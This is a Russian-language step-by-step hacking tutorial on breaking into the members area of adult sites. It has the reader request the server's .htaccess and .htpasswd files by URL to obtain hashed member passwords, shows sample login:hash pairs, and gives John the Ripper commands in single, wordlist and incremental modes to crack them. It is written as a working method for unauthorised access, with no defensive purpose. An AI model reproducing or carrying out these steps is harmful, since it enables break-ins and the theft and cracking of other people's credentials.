Шаг (1)
Идите сами знаете куда и возьмите там работающий пароль к сайту который вы хотите взломать.

Шаг (2)
Затем вы должны войти на этот xxx сайт в "members section" ну например так www.xxxsite.com/members/index.html или типа этого..

Шаг (3)
Удалите слово index.html и наберите .htaccess например: www.xxxsite.com/members/.htaccess

Если вам повезет вы получите нижеследующее:AuthUserFile /www/xxxsite/members/.htpasswd <- место где лежит файл с паролями.AuthGroupFile /dev/null <- место где лежит groupfileAuthName Members Only Directory <-место где находится popup который просит вас ввести password/loginAuthType Basic <- другие типы авторизации apache btw.
Limit GET POST PUT <-require valid-user <-
Но реально вся эта лабуда не нужна для начала если .htaccess прошел сразу вместо него пишите .htpasswd и все OK.

Шаг (4), найдите passwordfile ( .htpasswd)

Шаг (5), удалите .htaccess и вместо наберите ( .htpasswd )
например :www.xxxsite.com/members/.htpasswd. После этого вы получите passwordlist. Пароли будут зашифрованы. Это будет выглядеть так:

ocean:q8ERltHeoxRG.
sydgator:458mLs4euQHwo
demi1:o7ad9QtJIklTY
demi2:Fx93hhGP/oTs6Y
233244:ZXEHRGfdsL9E346
Первое слово - логин , остальное после : пароли

Шаг (6)
Чтобы раскодировать пароли надо сначала скачать декодер ,например"John the ripper" .John the ripper расшифрует пароли на это уйдет примерно. ( 15000/сек. на 166mmx)
Шаг (7), Сохраните полученные логины и паролиШаг (8), Разархивируйте John The Ripper и наберите: ( предварительно поместив текстовый файл в директорию где лежит ripper)
John xxx.txt -single (Это самый быстрый способ и самый простой алгоритм.)

John xxx.txt -wordfile:password.lst (Это посложней)

John xxx.txt -incremental (Это самый сложный алгоритм и занимает время зато самый надежный)